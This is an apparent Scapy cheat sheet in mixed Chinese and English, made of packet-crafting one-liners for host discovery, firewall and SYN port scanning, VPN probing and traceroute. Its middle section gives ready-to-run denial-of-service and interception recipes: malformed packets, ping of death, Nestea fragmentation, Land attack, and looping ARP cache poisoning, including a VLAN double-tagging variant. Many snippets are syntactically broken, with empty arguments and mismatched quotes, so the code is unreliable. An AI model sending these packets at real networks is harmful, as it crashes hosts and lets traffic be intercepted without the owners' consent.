for s,r in ans:

    if s[TCP].dport == r[TCP].sport:

        print str(s[TCP].dport) + "is unfiltered"

for s in unans:

    print str(s[TCP].dport) + "is filtered"

ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=,flag="FPU"))

检测到RST响应。则揭露在目标的关闭端口

ans, unans = sr(IP(dst="192.168.1.1",proto=(,))/"SCAPY",retry=)

探测支持的协议

ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=)

发现网络中存活的主机

ans.summary(lambda(s,r): r.sprintf("%Ether.src% %ARP.psrc%"))

显示存活主机的IP和mac地址

或者执行：

 arping("192.168.1.*)

ans, unans = sr(IP(dst="192.168.1.1-254")/ICMP())

ans.summary(lambda(s,r): r.sprintf("%IP.src% is active"))

ans, unans = sr(IP(dst="192.168.1.*")/TCP(dport=80,flag="S"))

如果主机有防火墙，那么可以尝试TCP Ping。

ans.summary(lambda(s,r): r.sprintf("%IP.src% is alive"))

If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:

ans,unans = sr(IP(dst="192.168.*.1-10")/UDP(dport=0))

Once again, results can be collected with this command:

ans.summary(lambda(s,r): r.sprintf("%IP.src% is alive"))

畸形包：

send(IP(dst="10.1.1.5",ihl=2,version=3)/ICMP())

死亡之ping:

send（fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)))

Nestea attack:

 send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))

 send(IP(dst=target, id=42, frag=48)/("X"*116))

 send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

Land attack:

 send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

典型的ARP缓冲毒化

send(Ether(dst=clientMAC)/ARP(op="who-has",psrc=gateway,pdst=client),inter=RandNum(10,40),loop=1)

ARP cache poisoning with double 802.1q encapsulation:

send(Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op="who-has",psrc=gateway,pdst=client),inter=RandNum(10,40),loop=1)

发送一个TCP SYN在每个端口。等待一个SYN-ACK或者一个RST或者一个ICMP错误：

res,unans = sr(IP(dst="target")/TCP(flags="S",dport=(1,1024))

可能的结果：开放端口

res.summary(lfilter=lambda(s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)))

IKE ----因特网密钥交换协议

尝试辨认出VPN的接线器通过发送ISAKMP Association proposal(密钥管理协议）并且接受这回答：

res, unans = sr(IP(dst="192.168.1.*")/UDP()/ISAKMP(init_cookie=RandString(8),exch_type="identity prot.")/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())

可视化的结果：

res.nsummary(prn=lambda(s,r): r.src, lfilter=lambda(s,r): r.haslayer(ISAKMP))

ans, unans = sr(IP(dst="4.2.2.1",ttl(1,10))/TCP(dport=53,flags="S“）)

可能的结果：

ans.summary(lambda(s,r): r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))

192.168.1.1     time-exceeded

68.86.90.162    time-exceeded

4.79.43.134     time-exceeded

4.79.43.133     time-exceeded

4.68.18.126     time-exceeded

4.68.123.38     time-exceeded

4.2.2.1         SA

UDP由于没有握手，我们需要给一个应用载体（DNS,ISAKMP,NTP等）来得到响应：

res,unans = sr(IP(dst="target", ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.com"))

使用下面的代码来得到路由：

res.make_table(lambda(s,r): (s.dst, s.ttl, r.src))

ans,unans = traceroute("4.2.2.1",14=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))